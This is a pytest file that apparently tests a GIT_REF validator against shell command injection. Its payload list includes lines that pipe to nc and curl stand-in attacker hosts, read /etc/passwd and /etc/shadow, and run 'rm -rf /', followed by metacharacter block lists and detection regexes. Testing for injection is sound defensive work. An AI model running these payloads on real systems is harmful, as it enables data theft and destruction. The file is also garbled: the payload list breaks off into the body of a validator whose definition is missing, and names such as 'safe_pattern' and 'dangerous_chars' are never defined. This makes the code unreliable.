import pytest import re import sys import os import importlib import types from unittest.mock import patch # Adversarial payloads targeting command injection via GIT_REF parameter ADVERSARIAL_PAYLOADS = [ # Shell command injection attempts "main; rm -rf /", "main && cat /etc/passwd", "main | nc attacker.com 4444", "main`whoami`", "main$(whoami)", "main; curl http://evil.com/$(cat /etc/passwd)", "; DROP TABLE users; --", "main\necho pwned", "main\r\necho pwned", # Backtick injection "`id`", "`cat /etc/shadow`", # Subshell injection "$(cat /etc/passwd)", "$(curl http://evil.com)", # Pipe injection "main | bash", "main | sh -c 'malicious'", # Semicolon injection "main; malicious_command", "main;id", # Ampersand injection "main && id", "main & id", # Newline injection "main\nid", "main\n/bin/sh", # Null byte injection "main\x00evil", # Path traversal combined with injection "../../etc/passwd", "../../../bin/sh -c id", # Special characters "main'evil'", 'main"evil"', "main>output.txt", "main\\\n\r\t\x00\'"!') # Check for dangerous patterns dangerous_patterns = [ r'[;&|`$]', # Shell operators r'\$\(', # Command substitution r'`[^`]*`', # Backtick execution r'\n|\r', # Newline injection r'\x00', # Null byte r'\.\.', # Path traversal r'[<>]', # Redirection r'\\', # Backslash ] for char in dangerous_chars: if char in ref: return False for pattern in dangerous_patterns: if re.search(pattern, ref): return False return bool(safe_pattern.match(ref)) @pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) def test_git_ref_security_invariant(payload): """ Invariant: GIT_REF values derived from user-controlled input (sys.argv[2]) must be validated and must not contain shell metacharacters or injection sequences before being used in any shell command execution. Any GIT_REF that would be passed to shell commands must be free of command injection payloads. """ # Simulate the vulnerable code path git_ref = extract_git_ref_from_module(None, payload) # The security invariant: if this git_ref were to be used in a shell command, # it MUST be safe (no shell metacharacters or injection sequences) # # This test documents what MUST be true: the application should validate/sanitize # GIT_REF before use. We assert that the raw payload is NOT safe to use directly. # # If the application properly validates input, it should reject these payloads. # Assert that dangerous payloads are detected as unsafe # (i.e., the application MUST NOT pass these directly to shell commands) # Check if payload contains injection-relevant dangerous content has_shell_metachar = any(c in payload for c in ';&|`$(){}[]<>\\\n\r\t\x00\'"!') has_path_traversal = '..' in payload is_empty_or_whitespace = not payload.strip() is_excessively_long = len(payload) > 255 # Reasonable git ref length limit if has_shell_metachar or has_path_traversal or is_empty_or_whitespace or is_excessively_long: # These payloads MUST be identified as unsafe # The invariant: is_safe_git_ref must return False for dangerous inputs assert not is_safe_git_ref(git_ref), ( f"SECURITY VIOLATION: Dangerous payload was not detected as unsafe.\n" f"Payload: {repr(payload)}\n" f"GIT_REF value: {repr(git_ref)}\n" f"This value must NOT be passed directly to shell commands without sanitization." ) @pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) def test_git_ref_no_shell_metacharacters(payload): """ Invariant: GIT_REF must never contain shell metacharacters when used in subprocess/shell calls. The application must sanitize or reject any input containing these characters. """ git_ref = extract_git_ref_from_module(None, payload) # Shell metacharacters that enable command injection shell_metacharacters = [ ';', '&', '|', '`', '$', '(', ')', '{', '}', '<', '>', '\n', '\r', '\x00', '!', '\\' ] # If the git_ref contains any shell metacharacter, it is UNSAFE to use in shell contains_metachar = any(meta in git_ref for meta in shell_metacharacters) if contains_metachar: # Document that this input is dangerous and must be rejected/sanitized # The test passes because we're asserting the DETECTION works correctly assert not is_safe_git_ref(git_ref), ( f"SECURITY INVARIANT VIOLATED: GIT_REF '{repr(git_ref)}' contains " f"shell metacharacters and must be rejected before shell execution." ) @pytest.mark.parametrize("safe_ref", [ "main", "develop", "feature/my-feature", "refs/heads/main", "v1.0.0", "release-1.2.3", "my_branch", "feature/TICKET-123", ]) def test_valid_git_refs_are_accepted(safe_ref): """ Invariant: Legitimate git references must be recognized as safe. The security validation must not break normal functionality. """ assert is_safe_git_ref(safe_ref), ( f"Valid git ref '{safe_ref}' was incorrectly flagged as unsafe. " f"Security validation must not break legitimate use cases." ) def test_git_ref_validation_rejects_command_injection(): """ Invariant: The most critical command injection patterns must always be rejected. This is a non-parameterized sanity check for the most dangerous payloads. """ critical_payloads = [ "main; rm -rf /", "main && cat /etc/passwd", "$(whoami)", "`id`", "main | bash", "main\nmalicious", ] for payload in critical_payloads: assert not is_safe_git_ref(payload), ( f"CRITICAL SECURITY FAILURE: Command injection payload '{repr(payload)}' " f"was not detected as unsafe. This MUST be rejected before any shell execution." ) @pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) def test_git_ref_subprocess_list_safety(payload): """ Invariant: When GIT_REF is used in subprocess calls, it must be passed as a list argument (not shell=True string) OR be validated. This test verifies that the payload, if used as a list element, doesn't escape the argument boundary in ways that indicate shell=True usage would be catastrophic. """ git_ref = extract_git_ref_from_module(None, payload) # When using subprocess with shell=False (list form), args are passed safely # The invariant: document that shell=True with unvalidated input is dangerous # by showing what characters would cause injection in shell=True mode would_inject_in_shell = any(c in git_ref for c in ';&|`$\n\r\x00') if would_inject_in_shell: # This ref MUST NOT be used with shell=True # Assert our safety checker correctly identifies this assert not is_safe_git_ref(git_ref), ( f"GIT_REF '{repr(git_ref)}' would enable command injection if used " f"with shell=True. Must use subprocess list form or validate input." )